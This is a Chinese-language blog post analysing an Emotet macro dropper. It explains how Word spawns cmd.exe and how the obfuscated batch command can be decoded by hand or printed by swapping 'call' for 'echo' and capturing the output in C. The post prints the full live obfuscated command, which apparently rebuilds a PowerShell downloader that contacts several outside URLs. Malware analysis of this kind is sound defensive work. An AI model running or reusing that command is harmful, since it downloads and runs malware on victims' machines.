秒杀宏病毒,解剖Emotet技术难点

第一章 样本背景介绍
Emotet是一种银行木马恶意软件程序,它通过将计算机代码注入受感染计算机的网络堆栈来获取财务信息。
[1]允许通过传输窃取敏感数据。
[2] Emotet恶意软件还将自身插入到软件模块中,然后软件模块可以窃取地址簿数据并对其他系统执行拒绝服务攻击。
[3]Emotet已经在其交付方面发展,但最突出的形式是在电子邮件正文中插入恶意文档或URL链接,有时伪装成发票或PDF附件。
[4]2014年首次在德国,奥地利和瑞士报道,美国很快就遇到了Emotet恶意软件,不一定是假发票,而是通过恶意JavaScript(.JS)文件;当恶意.JS文件被执行时,Emotet恶意软件就能够感染当前主机。
[5]一旦Emotet感染了主机,作为恶意软件一部分的恶意文件就能够通过Web浏览器拦截,记录和保存传出的网络流量,从而导致敏感数据被编译以访问受害者的银行帐户。
[6 ]Emotet是Feodo Trojan系列木马恶意软件的成员。
[7]在虚拟机环境中运行时,Emotet会以误导恶意软件调查员的方式更改其行为。
第二章 原创沙盘跑宏病毒
Emotet 已经有人分析了,我这篇的重点是:分析中遇到的技术难点,以及以后快速分析的解决方案。对于这种宏病毒我们要做到秒杀,我们要学会给病毒归类,以及快速分析的方法。
拿到样本之后,用我自己原创开发的沙箱跑一下,看看效果

系统进程中标红的表示新增加的进程,可以看出增加了cmd,exe的进程,我们可以看到word启动了一个cmd的进程,并且传递了一串参数

已经拿到WINWORD.EXE启动cmd.exe的数据
第三章 分析加密cmd参数
参数是拿到了但是貌似是加密的
Cmd /V:O/C"set -   =IdBSZaVlEVEJwpRGpMcXUSahlErhlBwsz 7+Wi;mN9qC.@,Pk}tQb'j26=oT)fDy:/nue{F4Hv1$(-x&&for %o in (16,59,30,69,26,31,27,69,28,28,33,76,53,37,59,58,67,69,30,78,59,53,55,69,18,51,33,40,69,51,44,36,69,53,43,28,37,69,67,51,38,76,26,67,9,58,54,27,51,51,16,65,66,66,53,22,32,22,78,31,27,22,26,51,22,31,27,44,26,68,66,27,49,42,19,42,60,75,45,27,51,51,16,65,66,66,22,67,22,16,22,16,59,28,37,74,44,26,68,66,21,16,72,67,22,45,27,51,51,16,65,66,66,31,27,59,26,69,18,26,69,31,51,31,18,27,59,59,28,31,44,18,59,39,66,67,67,52,49,40,45,27,51,51,16,65,66,66,18,59,39,37,18,59,28,69,44,18,59,39,66,56,73,4,45,27,51,51,16,65,66,66,69,28,22,26,51,69,1,69,28,22,22,18,18,37,59,67,44,69,31,66,57,73,64,28,54,44,21,16,28,37,51,77,54,45,54,61,38,76,68,42,43,33,58,33,54,75,34,41,54,38,76,68,31,51,58,76,69,67,74,65,51,69,39,16,35,54,47,54,35,76,68,42,43,35,54,44,69,79,69,54,38,62,59,26,69,22,18,27,77,76,67,25,14,33,37,67,33,76,26,67,9,61,70,51,26,64,70,76,53,37,59,44,63,59,30,67,28,59,22,1,71,37,28,69,77,76,67,25,14,46,33,76,68,31,51,61,38,21,51,22,26,51,78,48,26,59,18,69,31,31,33,76,68,31,51,38,53,26,69,22,49,38,50,18,22,51,18,27,70,50,50,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,88)do set ]   =!]   !!-   :~%o,1!&&if %o==88 call %]   :~-360%"
我们首先手工分析一下,批处理是用&&分割的
所以拿出第一句
set -   =IdBSZaVlEVEJwpRGpMcXUSahlErhlBwsz 7+Wi;mN9qC.@,Pk}tQb'j26=oT)fDy:/nue{F4Hv1$(-x
这个是设置变量。
再看第二句这个可长了
for %o in (16,59,30,69,26,31,27,69,28,28,33,76,53,37,59,58,67,69,30,78,59,53,55,69,18,51,33,40,69,51,44,36,69,53,43,28,37,69,67,51,38,76,26,67,9,58,54,27,51,51,16,65,66,66,53,22,32,22,78,31,27,22,26,51,22,31,27,44,26,68,66,27,49,42,19,42,60,75,45,27,51,51,16,65,66,66,22,67,22,16,22,16,59,28,37,74,44,26,68,66,21,16,72,67,22,45,27,51,51,16,65,66,66,31,27,59,26,69,18,26,69,31,51,31,18,27,59,59,28,31,44,18,59,39,66,67,67,52,49,40,45,27,51,51,16,65,66,66,18,59,39,37,18,59,28,69,44,18,59,39,66,56,73,4,45,27,51,51,16,65,66,66,69,28,22,26,51,69,1,69,28,22,22,18,18,37,59,67,44,69,31,66,57,73,64,28,54,44,21,16,28,37,51,77,54,45,54,61,38,76,68,42,43,33,58,33,54,75,34,41,54,38,76,68,31,51,58,76,69,67,74,65,51,69,39,16,35,54,47,54,35,76,68,42,43,35,54,44,69,79,69,54,38,62,59,26,69,22,18,27,77,76,67,25,14,33,37,67,33,76,26,67,9,61,70,51,26,64,70,76,53,37,59,44,63,59,30,67,28,59,22,1,71,37,28,69,77,76,67,25,14,46,33,76,68,31,51,61,38,21,51,22,26,51,78,48,26,59,18,69,31,31,33,76,68,31,51,38,53,26,69,22,49,38,50,18,22,51,18,27,70,50,50,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,88)do set ]   =!]   !!-   :~%o,1!
很长别吓着了,先看这句
!-   :~%o,1!
%o的意思遍历上面的数组,取出每一项,那么这句的意思就是取出字符串-对于的索引项,1表示只是取一位,那么字符串是啥
IdBSZaVlEVEJwpRGpMcXUSahlErhlBwsz 7+Wi;mN9qC.@,Pk}tQb'j26=oT)fDy:/nue{F4Hv1$(-x
就是用这个数组里面的值做第一句变量数组的索引,进行取字符串,比如16
那么对于的就是p
59对应的就是o
30对应的就是w
我们可以手工写代码解析。
理论上这样分析就完成了。
第四章 自动化跑结果
但是如果别人给算法修改了,那么我们又的折腾半天,那么有没有什么解救之法啊
当然有,他再怎么加密,他都跑不掉一个执行的操作,我们只要打印执行的操作就完成了

这里我们只要给call,替换成echo 再修改一下打印的变量就可以了,我修改后的代码如下
Cmd /V:O/C"set -   =IdBSZaVlEVEJwpRGpMcXUSahlErhlBwsz 7+Wi;mN9qC.@,Pk}tQb'j26=oT)fDy:/nue{F4Hv1$(-x&&for %o in (16,59,30,69,26,31,27,69,28,28,33,76,53,37,59,58,67,69,30,78,59,53,55,69,18,51,33,40,69,51,44,36,69,53,43,28,37,69,67,51,38,76,26,67,9,58,54,27,51,51,16,65,66,66,53,22,32,22,78,31,27,22,26,51,22,31,27,44,26,68,66,27,49,42,19,42,60,75,45,27,51,51,16,65,66,66,22,67,22,16,22,16,59,28,37,74,44,26,68,66,21,16,72,67,22,45,27,51,51,16,65,66,66,31,27,59,26,69,18,26,69,31,51,31,18,27,59,59,28,31,44,18,59,39,66,67,67,52,49,40,45,27,51,51,16,65,66,66,18,59,39,37,18,59,28,69,44,18,59,39,66,56,73,4,45,27,51,51,16,65,66,66,69,28,22,26,51,69,1,69,28,22,22,18,18,37,59,67,44,69,31,66,57,73,64,28,54,44,21,16,28,37,51,77,54,45,54,61,38,76,68,42,43,33,58,33,54,75,34,41,54,38,76,68,31,51,58,76,69,67,74,65,51,69,39,16,35,54,47,54,35,76,68,42,43,35,54,44,69,79,69,54,38,62,59,26,69,22,18,27,77,76,67,25,14,33,37,67,33,76,26,67,9,61,70,51,26,64,70,76,53,37,59,44,63,59,30,67,28,59,22,1,71,37,28,69,77,76,67,25,14,46,33,76,68,31,51,61,38,21,51,22,26,51,78,48,26,59,18,69,31,31,33,76,68,31,51,38,53,26,69,22,49,38,50,18,22,51,18,27,70,50,50,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,88)do set ]   =!]   !!-   :~%o,1!&&if %o==88 echo !]   !"
现在问题来了,虽然我们修改了代码,怎么给显示结果打印处理啊?
我才用我最熟悉的方式C代码编程
代码如下
int main(int argc, char* argv[])
{
shell();
}
   
void shell()
{
initPipe();
   
DWORD dwByteWritten;
   
   
   
   
unsigned long   BytesRead = 0;
DWORD TotalBytesAvail;
   
//检查管道中是否有数据
while (TRUE)
{
//printf("有数据到来!n");
memset(readBuff, 0, sizeof(readBuff));
ReadFile(hReadPipeCmd, readBuff, 4096, &BytesRead, NULL);
printf("%s", readBuff);
}
}
   
WCHAR tEst[] = { L"Cmd /V:O/C"set -   =IdBSZaVlEVEJwpRGpMcXUSahlErhlBwsz 7+Wi;mN9qC.@,Pk}tQb'j26=oT)fDy:/nue{F4Hv1$(-x&&for %o in (16,59,30,69,26,31,27,69,28,28,33,76,53,37,59,58,67,69,30,78,59,53,55,69,18,51,33,40,69,51,44,36,69,53,43,28,37,69,67,51,38,76,26,67,9,58,54,27,51,51,16,65,66,66,53,22,32,22,78,31,27,22,26,51,22,31,27,44,26,68,66,27,49,42,19,42,60,75,45,27,51,51,16,65,66,66,22,67,22,16,22,16,59,28,37,74,44,26,68,66,21,16,72,67,22,45,27,51,51,16,65,66,66,31,27,59,26,69,18,26,69,31,51,31,18,27,59,59,28,31,44,18,59,39,66,67,67,52,49,40,45,27,51,51,16,65,66,66,18,59,39,37,18,59,28,69,44,18,59,39,66,56,73,4,45,27,51,51,16,65,66,66,69,28,22,26,51,69,1,69,28,22,22,18,18,37,59,67,44,69,31,66,57,73,64,28,54,44,21,16,28,37,51,77,54,45,54,61,38,76,68,42,43,33,58,33,54,75,34,41,54,38,76,68,31,51,58,76,69,67,74,65,51,69,39,16,35,54,47,54,35,76,68,42,43,35,54,44,69,79,69,54,38,62,59,26,69,22,18,27,77,76,67,25,14,33,37,67,33,76,26,67,9,61,70,51,26,64,70,76,53,37,59,44,63,59,30,67,28,59,22,1,71,37,28,69,77,76,67,25,14,46,33,76,68,31,51,61,38,21,51,22,26,51,78,48,26,59,18,69,31,31,33,76,68,31,51,38,53,26,69,22,49,38,50,18,22,51,18,27,70,50,50,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,88)do    set ]   =!]   !!-   :~%o,1!&&if %o==88 echo !]   !"    " };
void initPipe()
{
SECURITY_ATTRIBUTES sa = { 0 };
STARTUPINFOW         si = { 0 };
PROCESS_INFORMATION pi = { 0 };
   
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//创建管道
CreatePipe(&hReadPipeCmd, &hWritePipeCmd, &sa, 0);
CreatePipe(&hReadPipeShell, &hWritePipeShell, &sa, 0);
   
GetStartupInfoW(&si);
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_SHOW;
si.dwFlags = STARTF_USESHOWWINDOW;
si.hStdInput = hReadPipeShell;
si.hStdOutput = si.hStdError = hWritePipeCmd;
////创建cmd进程
if (!CreateProcessW(NULL, (LPWSTR)tEst,
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
printf("CreateProcess Error:%d!n",GetLastError());
CloseHandle(hWritePipeCmd);
CloseHandle(hReadPipeShell);
//initPipeSuccess = FALSE;
return;
}
hProcessHandle = pi.hProcess;
WaitForSingleObject(hProcessHandle, INFINITE);
printf("exit");
//initPipeSuccess = TRUE;
getchar()
;
}
下面放一个我跑出的图吧:

以后妈妈再也不用担心我的学习了,秒杀一切。